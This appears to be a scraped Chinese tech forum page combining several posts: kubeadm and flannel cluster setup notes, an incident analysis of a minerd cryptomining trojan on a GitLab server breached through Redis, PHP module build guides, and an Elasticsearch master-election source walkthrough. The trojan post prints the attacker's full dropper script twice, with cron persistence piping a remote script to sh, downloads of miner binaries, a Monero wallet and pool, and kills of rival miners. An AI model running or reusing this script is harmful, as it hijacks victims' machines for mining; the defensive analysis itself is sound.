612b021457a1 gcr.io/google_containers/kube-scheduler-amd64:v1.5.1 "kube-scheduler --add" 25 minutes ago Up 25 minutes k8s_kube-scheduler.bb7d750_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_a49fab86

ac0d8698f79f gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_etcd-master_kube-system_3a26566bb004c61cd05382212e3f978f_9a6b7925

2a16a2217bf3 gcr.io/google_containers/pause-amd64:3.0 "/pause" 25 minutes ago Up 25 minutes k8s_POD.d8dbe16c_kube-scheduler-master_kube-system_0545c2e223307b5ab8c74b0ffed56ac7_d2b51317





kube-apiserver的IP是host ip,从而推断容器使用的是host网络,这从其对应的pause容器的network属性就可以看出:



root@master:~# docker ps |grep apiserver

27625502c298 gcr.io/google_containers/kube-apiserver-amd64:v1.5.1 "kube-apiserver --ins" 26 minutes ago Up 26 minutes k8s_kube-apiserver.5942f3e3_kubeapiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_38a83844

84a731cbce18 gcr.io/google_containers/pause-amd64:3.0 "/pause" 26 minutes ago Up 26 minutes k8s_POD.d8dbe16c_kube-apiserver-master_kube-system_aeb59dd32f3217b366540250d2c35d8c_a3a2ea4e



问题一、

如果kubeadm init执行过程中途出现了什么问题,比如前期忘记挂加速器导致init hang住,你可能会ctrl+c退出init执行。重新配置后,再执行kubeadm init,这时你可能会遇到下面kubeadm的输出:

# kubeadm init --pod-network-cidr=10.244.0.0/16

[kubeadm] WARNING: kubeadm is in alpha, please do not use it for production clusters.

[preflight] Running pre-flight checks

[preflight] Some fatal errors occurred:

Port 10250 is in use

/etc/kubernetes/manifests is not empty

/etc/kubernetes/pki is not empty

/var/lib/kubelet is not empty

/etc/kubernetes/admin.conf already exists

/etc/kubernetes/kubelet.conf already exists

[preflight] If you know what you are doing, you can skip pre-flight checks with `--skip-preflight-checks`



kubeadm会自动检查当前环境是否有上次命令执行的“残留”。如果有,必须清理后再行执行init。我们可以通过”kubeadm reset”来清理环境,以备重来。



# kubeadm reset

[preflight] Running pre-flight checks

[reset] Draining node: "iz25beglnhtz"

[reset] Removing node: "iz25beglnhtz"

[reset] Stopping the kubelet service

[reset] Unmounting mounted directories in "/var/lib/kubelet"

[reset] Removing kubernetes-managed containers

[reset] Deleting contents of stateful directories: [/var/lib/kubelet /etc/cni/net.d /var/lib/etcd]

[reset] Deleting contents of config directories: [/etc/kubernetes/manifests /etc/kubernetes/pki]

[reset] Deleting files: [/etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf]





5、要使用Flannel网络,因此我们需要执行如下安装命令:

#kubectl apply -f https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml

configmap "kube-flannel-cfg" created

daemonset "kube-flannel-ds" created



需要稍等几秒钟,我们再来看master node上的cluster信息:

root@master:~# ps -ef |grep kube |grep flannel

root 29457 29441 0 14:09 ? 00:00:00 /opt/bin/flanneld --ip-masq --kube-subnet-mgr

root 29498 29481 0 14:09 ? 00:00:00 /bin/sh -c set -e -x; cp -f /etc/kube-flannel/cni-conf.json /etc/cni/net.d/10-flannel.conf; while true; do sleep 3600; done



root@master:~# kubectl get pods --all-namespaces

NAMESPACE NAME READY STATUS RESTARTS AGE

kube-system dummy-2088944543-r2mw3 1/1 Running 0 30m

kube-system etcd-master 1/1 Running 0 31m

kube-system kube-apiserver-master 1/1 Running 0 31m

kube-system kube-controller-manager-master 1/1 Running 0 31m

kube-system kube-discovery-1769846148-4rsq9 1/1 Running 0 30m

kube-system kube-dns-2924299975-txh1v 4/4 Running 0 30m

kube-system kube-flannel-ds-0fnxc 2/2 Running 0 29m

kube-system kube-flannel-ds-lpgpv 2/2 Running 0 23m

kube-system kube-flannel-ds-s05nr 2/2 Running 0 18m

kube-system kube-proxy-9c0bf 1/1 Running 0 30m

kube-system kube-proxy-t8hxr 1/1 Running 0 18m

kube-system kube-proxy-zd0v2 1/1 Running 0 23m

kube-system kube-scheduler-master 1/1 Running 0 31m



至少集群的核心组件已经全部run起来了。看起来似乎是成功了。





接下来开始node下的操作



6、minion node:join the cluster



这里我们用到了kubeadm的第二个命令:kubeadm join。



在minion node上执行(注意:这里要保证master node的9898端口在防火墙是打开的):

前提node下需要有上面安装的kube组建

7、安装kubelet和kubeadm

curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -

我是用的是

http://119.29.98.145:8070/zhi/apt-key.gpg



主机master上操作如下:



curl -s http://119.29.98.145:8070/zhi/apt-key.gpg | apt-key add -



cat <<EOF >/etc/apt/sources.list.d/kubernetes.list



deb http://apt.kubernetes.io/ kubernetes-xenial main



EOF



apt-get update



apt-get install -y docker.io

apt-get install -y kubelet kubeadm kubectl kubernetes-cni

记住master的token

root@node01:~# kubeadm join --token=2909ca.c0b0772a8817f9e3 xxx.xxx.xxx.xxx(ip)

8、在master node上查看当前cluster状态:

root@master:~# kubectl get node

NAME STATUS AGE

master Ready,master 59m

node01 Ready 51m

node02 Ready 46m

挖矿程序minerd入侵分析和解决

koyo 发表了文章 • 0 个评论 • 181 次浏览 • 2017-01-11 18:08 • 来自相关话题

发现问题

最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:




让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:




这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。




本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;




既然没用我继续google,在stackexchange找到如下解决方案:




各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。

商业模式

被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。

攻击&防御

植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。 查看全部


发现问题


最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:
UseCpu.png

让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:
minerd.png

这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。
wbug.png

本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;
crontab.png

既然没用我继续google,在stackexchange找到如下解决方案:
stackerror.png

各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。


商业模式


被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。


攻击&防御


植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。

PHP添加memcache模块

chris 发表了文章 • 0 个评论 • 70 次浏览 • 2017-01-10 03:37 • 来自相关话题

下载memcache模块源码

memcached不用说了,都知道是做数据缓冲用的,这里为 php 添加memcached 的支持。

php的memcache 模块地址 http://pecl.php.net/package/memcache :
# wget http://pecl.php.net/get/memcache-2.2.3.tgz


编译安装源码包

# tar -zxvf memcache-2.2.3.tgz
# cd memcache-2.2.3/
# /usr/local/php5.3.6/bin/phpize
# ./configure –with-php-config=/usr/local/php5.3.6/bin/php-config
# make
# make install
Installing shared extensions: /usr/local/php5.3.6/lib/php/extensions/no-debug-non-zts-20090626/编辑php.ini添加extension = “memcache.so”即可。 查看全部


下载memcache模块源码


memcached不用说了,都知道是做数据缓冲用的,这里为 php 添加memcached 的支持。

php的memcache 模块地址 http://pecl.php.net/package/memcache :
# wget http://pecl.php.net/get/memcache-2.2.3.tgz


编译安装源码包


# tar -zxvf memcache-2.2.3.tgz
# cd memcache-2.2.3/
# /usr/local/php5.3.6/bin/phpize
# ./configure –with-php-config=/usr/local/php5.3.6/bin/php-config
# make
# make install
Installing shared extensions: /usr/local/php5.3.6/lib/php/extensions/no-debug-non-zts-20090626/
编辑php.ini添加extension = “memcache.so”即可。

为已编译安装的PHP动态添加gd模块

chris 发表了文章 • 0 个评论 • 62 次浏览 • 2017-01-10 03:10 • 来自相关话题

对付单个扩展,单独编译动态加载是比较方便快捷的,安装过程也比较繁杂,这个记录一下,方便后来者。首先说明,我的PHP是源码编译安装的,可以参考:http://www.nowamagic.net/academy/detail/1226244。
 

安装 gd 前置库 : freetype ,jpegsrc,libpng

1、freetype
# wget "http://download.savannah.gnu.org/releases/freetype/freetype-2.4.0.tar.bz2"
# tar jxvf freetype-2.4.0.tar.bz2
# cd freetype-2.4.0
# ./configure --prefix=/usr/local/freetype && make && make install
2、jpegsrc
# wget "http://www.ijg.org/files/jpegsrc.v9.tar.gz"
# tar zxvf jpegsrc.v9.tar.gz
# cd jpeg-9
# CFLAGS="-O3 -fPIC" ./configure --prefix=/usr/local/jpeg && make && make install
# mkdir -p /usr/local/jpeg/include
# mkdir -p /usr/local/jpeg/lib
# mkdir -p /usr/local/jpeg/bin
# mkdir -p /usr/local/jpeg/man/man1
3、libpng
# wget "http://downloads.sourceforge.net/project/libpng/libpng12/1.2.50/libpng-1.2.50.tar.gz"
# tar zxvf libpng-1.2.50.tar.gz
# cd libpng-1.2.50
# CFLAGS="-O3 -fPIC" ./configure --prefix=/usr/local/libpng && make && make install

 

phpize编译安装gd模块

 
举一个例子:
假如你的 PHP 不支持gd库,php的源码包在/usr/local/src/php-5.3.6/,php安装目录在/usr/local/php5.3.6/  
 
执行命令 /usr/local/php/bin/phpize, 什么时候需要用到 phpize 呢?当我们需要再加些模块,又不想重新编译php,这些我们就可以用phpize了。
# cd /usr/local/src/php-5.3.6/ext/gd/
# /usr/local/php5.3.6/bin/phpize现在可以进行单独编译安装了:
# ./configure --with-php-config=/usr/local/php5.3.6/bin/php-config --with-jpeg-dir=/usr/local/jpeg --with-png-dir=/usr/local/libpng --with-freetype-dir=/usr/local/freetype
# make && make install安装成功结果:
[root@web1 gd]# make install
Installing shared extensions: /usr/local/php5.3.6/lib/php/extensions/no-debug-non-zts-20090626/
Installing header files: /usr/local/php5.3.6/include/php/
修改php.ini配置文件:
extension_dir = "/usr/local/php5.3.6/lib/php/extensions/no-debug-non-zts-20090626/"
extension=gd.so验证:
[root@web1 gd]# /usr/local/php5.3.6/bin/php -m |grep -i gd
gd到这就结束了。 查看全部
对付单个扩展,单独编译动态加载是比较方便快捷的,安装过程也比较繁杂,这个记录一下,方便后来者。首先说明,我的PHP是源码编译安装的,可以参考:http://www.nowamagic.net/academy/detail/1226244
 


安装 gd 前置库 : freetype ,jpegsrc,libpng


1、freetype
# wget "http://download.savannah.gnu.org/releases/freetype/freetype-2.4.0.tar.bz2"
# tar jxvf freetype-2.4.0.tar.bz2
# cd freetype-2.4.0
# ./configure --prefix=/usr/local/freetype && make && make install

2、jpegsrc
# wget "http://www.ijg.org/files/jpegsrc.v9.tar.gz"
# tar zxvf jpegsrc.v9.tar.gz
# cd jpeg-9
# CFLAGS="-O3 -fPIC" ./configure --prefix=/usr/local/jpeg && make && make install
# mkdir -p /usr/local/jpeg/include
# mkdir -p /usr/local/jpeg/lib
# mkdir -p /usr/local/jpeg/bin
# mkdir -p /usr/local/jpeg/man/man1

3、libpng
# wget "http://downloads.sourceforge.net/project/libpng/libpng12/1.2.50/libpng-1.2.50.tar.gz"
# tar zxvf libpng-1.2.50.tar.gz
# cd libpng-1.2.50
# CFLAGS="-O3 -fPIC" ./configure --prefix=/usr/local/libpng && make && make install

 


phpize编译安装gd模块


 
举一个例子:
假如你的 PHP 不支持gd库,php的源码包在/usr/local/src/php-5.3.6/,php安装目录在/usr/local/php5.3.6/  
 
执行命令 /usr/local/php/bin/phpize, 什么时候需要用到 phpize 呢?当我们需要再加些模块,又不想重新编译php,这些我们就可以用phpize了。
# cd /usr/local/src/php-5.3.6/ext/gd/
# /usr/local/php5.3.6/bin/phpize
现在可以进行单独编译安装了:
# ./configure --with-php-config=/usr/local/php5.3.6/bin/php-config  --with-jpeg-dir=/usr/local/jpeg  --with-png-dir=/usr/local/libpng   --with-freetype-dir=/usr/local/freetype
# make && make install
安装成功结果:
[root@web1 gd]# make install
Installing shared extensions: /usr/local/php5.3.6/lib/php/extensions/no-debug-non-zts-20090626/
Installing header files: /usr/local/php5.3.6/include/php/

修改php.ini配置文件:
extension_dir = "/usr/local/php5.3.6/lib/php/extensions/no-debug-non-zts-20090626/"
extension=gd.so
验证:
[root@web1 gd]# /usr/local/php5.3.6/bin/php -m |grep -i gd
gd
到这就结束了。

源码分析Elasticsearch Master选举过程

Geek小A 发表了文章 • 2 个评论 • 85 次浏览 • 2017-01-05 20:16 • 来自相关话题

ES 有Master节点和Data节点,Master节点什么意思呢? 就是主人节点,这个集群的主人,就是皇帝。ES同一时刻只有一个Master节点。小生一直看古装走火入魔,所谓心里有王朝,眼里就有王朝,看啥啥是王朝。就用王朝解释下集群,皇帝比喻下Master。我们先来看2个配置项。
 
node.master: true  就是皇子,意思是有资格成为Master,成为皇帝的人选,这是天生的,是无字天书,在elasticsearch.yml里写好的。

discovery.zen.minimum_master_nodes: 1 就是几个皇子在场的时候,才能选新皇帝,不然难以服众,容易脑裂(brain split)是吧。
 

Master的职责

只有皇帝才有资格发布圣旨ClusterState(集群状态)。他维护着这个王朝的状态,决定着这个王朝很多重要的大小事物。有一些事情必须皇帝才能执行,比如砍头(删除索引)。但是ES作为P2P集群,Master的职责,还是被弱化了一些。一张图看一下皇帝的工作内容。





 

什么时候选Master

只有在皇帝驾崩,和王朝诞生的时候,才选举Master皇帝,是吧,想让皇帝禅位,除非他死了,或者王朝被推翻了(所有节点重启)

 
节点启动,要加入一个集群的时候
 
//ZenDiscovery
private void innterJoinCluster() {
boolean retry = true;
while (retry) {
if (lifecycle.stoppedOrClosed()) {
return;
}
retry = false;
DiscoveryNode masterNode = findMaster(); //找一个节点出来当皇帝
if (masterNode == null) {
logger.trace("no masterNode returned");
retry = true;
continue;
}
//....
或者节点关闭 Master Gone
private void handleMasterGone(final DiscoveryNode masterNode, final String reason) {
if (lifecycleState() != Lifecycle.State.STARTED) {
return;
}
if (master) {
return;
}
logger.info("master_left [{}], reason [{}]", masterNode, reason);
clusterService.submitStateUpdateTask("zen-disco-master_failed (" + masterNode + ")", Priority.HIGH, new ProcessedClusterStateUpdateTask() {
@Override
public ClusterState execute(ClusterState currentState) {
if (!masterNode.id().equals(currentState.nodes().masterNodeId())) {
return currentState;
}
DiscoveryNodes.Builder nodesBuilder = DiscoveryNodes.newNodesBuilder()
.putAll(currentState.nodes())
.remove(masterNode.id())
.masterNodeId(null);
if (!electMaster.hasEnoughMasterNodes(nodesBuilder.build())) {
return rejoin(ClusterState.builder().state(currentState).nodes(nodesBuilder).build(), "not enough master nodes after master left (reason = " + reason + ")");
}
final DiscoveryNode electedMaster = electMaster.electMaster(nodesBuilder.build()); // 选举Master
 

Master选举

首先必须是皇子(node.master: true),具体哪皇子成为皇帝呢? 看天意啊,最先启动的那个节点。老臣认为。当立嫡长子为太子,成为皇帝啊,这样江山社稷才能稳固啊,(一阵激动)省略上万句。。。好了,演完戏了,看代码。

 
ZenDiscovery模块启动的时候,要加入集群。findMaster 方法里,Ping一堆节点出来,Ping就是发现节点,这里的Ping不是Linux的命令Ping,是向ES的9300端口发送数据的意思。Linux的Ping是可以禁止的,不能因为命令Ping不通机器,就认为相互不能发现节点。Ping有组播MulticastZenPing和单播UnicastZenPing 两种。如果节点少,用单播也可以。组播在一些环境下可能无法相互发现节点,或者被安全软件识别为恶意程序。节点列表确定后。交给 ElectMasterService 去选举,快排后的第一个节点
//ElectMasterService
/**
* Elects a new master out of the possible nodes, returning it. Returns <tt>null</tt>
* if no master has been elected.
*/
public DiscoveryNode electMaster(Iterable<DiscoveryNode> nodes) {
List<DiscoveryNode> sortedNodes = sortedMasterNodes(nodes);
if (sortedNodes == null || sortedNodes.isEmpty()) {
return null;
}
return sortedNodes.get(0);
}

private List<DiscoveryNode> sortedMasterNodes(Iterable<DiscoveryNode> nodes) {
List<DiscoveryNode> possibleNodes = Lists.newArrayList(nodes);
if (possibleNodes.isEmpty()) {
return null;
}
// clean non master nodes
for (Iterator<DiscoveryNode> it = possibleNodes.iterator(); it.hasNext(); ) {
DiscoveryNode node = it.next();
if (!node.masterNode()) {
it.remove();
}
}
CollectionUtil.quickSort(possibleNodes, nodeComparator);
return possibleNodes;
}对了,皇帝上位以后,第一件事情是发布圣旨,昭告天下,以后寡人就是皇帝了。

怎么看,现在谁是皇帝呢?
 
curl http://localhost:9200/_cat/master?v
脑裂问题
 
关于brain split脑裂问题,可以看这个:
如何避免脑裂: http://blog.trifork.com/2013/10/24/how-to-avoid-the-split-brain-problem-in-elasticsearch/  
官方讨论:https://github.com/elasticsearch/elasticsearch/issues/2488 
 
最后,为了让大家对皇帝有个感性的认识,赠图一张,不谢!




原文分享:http://www.codeweblog.com/elasticsearch-%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E4%B9%8Bmaster%E9%80%89%E4%B8%BE/  查看全部
ES 有Master节点和Data节点,Master节点什么意思呢? 就是主人节点,这个集群的主人,就是皇帝。ES同一时刻只有一个Master节点。小生一直看古装走火入魔,所谓心里有王朝,眼里就有王朝,看啥啥是王朝。就用王朝解释下集群,皇帝比喻下Master。我们先来看2个配置项。
 
node.master: true  就是皇子,意思是有资格成为Master,成为皇帝的人选,这是天生的,是无字天书,在elasticsearch.yml里写好的。

discovery.zen.minimum_master_nodes: 1 就是几个皇子在场的时候,才能选新皇帝,不然难以服众,容易脑裂(brain split)是吧。
 


Master的职责


只有皇帝才有资格发布圣旨ClusterState(集群状态)。他维护着这个王朝的状态,决定着这个王朝很多重要的大小事物。有一些事情必须皇帝才能执行,比如砍头(删除索引)。但是ES作为P2P集群,Master的职责,还是被弱化了一些。一张图看一下皇帝的工作内容。

Masterkpi.png

 


什么时候选Master


只有在皇帝驾崩,和王朝诞生的时候,才选举Master皇帝,是吧,想让皇帝禅位,除非他死了,或者王朝被推翻了(所有节点重启)

 
节点启动,要加入一个集群的时候
 
//ZenDiscovery
private void innterJoinCluster() {
boolean retry = true;
while (retry) {
if (lifecycle.stoppedOrClosed()) {
return;
}
retry = false;
DiscoveryNode masterNode = findMaster(); //找一个节点出来当皇帝
if (masterNode == null) {
logger.trace("no masterNode returned");
retry = true;
continue;
}
//....

或者节点关闭 Master Gone
private void handleMasterGone(final DiscoveryNode masterNode, final String reason) {
if (lifecycleState() != Lifecycle.State.STARTED) {
return;
}
if (master) {
return;
}
logger.info("master_left [{}], reason [{}]", masterNode, reason);
clusterService.submitStateUpdateTask("zen-disco-master_failed (" + masterNode + ")", Priority.HIGH, new ProcessedClusterStateUpdateTask() {
@Override
public ClusterState execute(ClusterState currentState) {
if (!masterNode.id().equals(currentState.nodes().masterNodeId())) {
return currentState;
}
DiscoveryNodes.Builder nodesBuilder = DiscoveryNodes.newNodesBuilder()
.putAll(currentState.nodes())
.remove(masterNode.id())
.masterNodeId(null);
if (!electMaster.hasEnoughMasterNodes(nodesBuilder.build())) {
return rejoin(ClusterState.builder().state(currentState).nodes(nodesBuilder).build(), "not enough master nodes after master left (reason = " + reason + ")");
}
final DiscoveryNode electedMaster = electMaster.electMaster(nodesBuilder.build()); // 选举Master

 


Master选举


首先必须是皇子(node.master: true),具体哪皇子成为皇帝呢? 看天意啊,最先启动的那个节点。老臣认为。当立嫡长子为太子,成为皇帝啊,这样江山社稷才能稳固啊,(一阵激动)省略上万句。。。好了,演完戏了,看代码。

 
ZenDiscovery模块启动的时候,要加入集群。findMaster 方法里,Ping一堆节点出来,Ping就是发现节点,这里的Ping不是Linux的命令Ping,是向ES的9300端口发送数据的意思。Linux的Ping是可以禁止的,不能因为命令Ping不通机器,就认为相互不能发现节点。Ping有组播MulticastZenPing和单播UnicastZenPing 两种。如果节点少,用单播也可以。组播在一些环境下可能无法相互发现节点,或者被安全软件识别为恶意程序。节点列表确定后。交给 ElectMasterService 去选举,快排后的第一个节点
//ElectMasterService
/**
* Elects a new master out of the possible nodes, returning it. Returns <tt>null</tt>
* if no master has been elected.
*/
public DiscoveryNode electMaster(Iterable<DiscoveryNode> nodes) {
List<DiscoveryNode> sortedNodes = sortedMasterNodes(nodes);
if (sortedNodes == null || sortedNodes.isEmpty()) {
return null;
}
return sortedNodes.get(0);
}

private List<DiscoveryNode> sortedMasterNodes(Iterable<DiscoveryNode> nodes) {
List<DiscoveryNode> possibleNodes = Lists.newArrayList(nodes);
if (possibleNodes.isEmpty()) {
return null;
}
// clean non master nodes
for (Iterator<DiscoveryNode> it = possibleNodes.iterator(); it.hasNext(); ) {
DiscoveryNode node = it.next();
if (!node.masterNode()) {
it.remove();
}
}
CollectionUtil.quickSort(possibleNodes, nodeComparator);
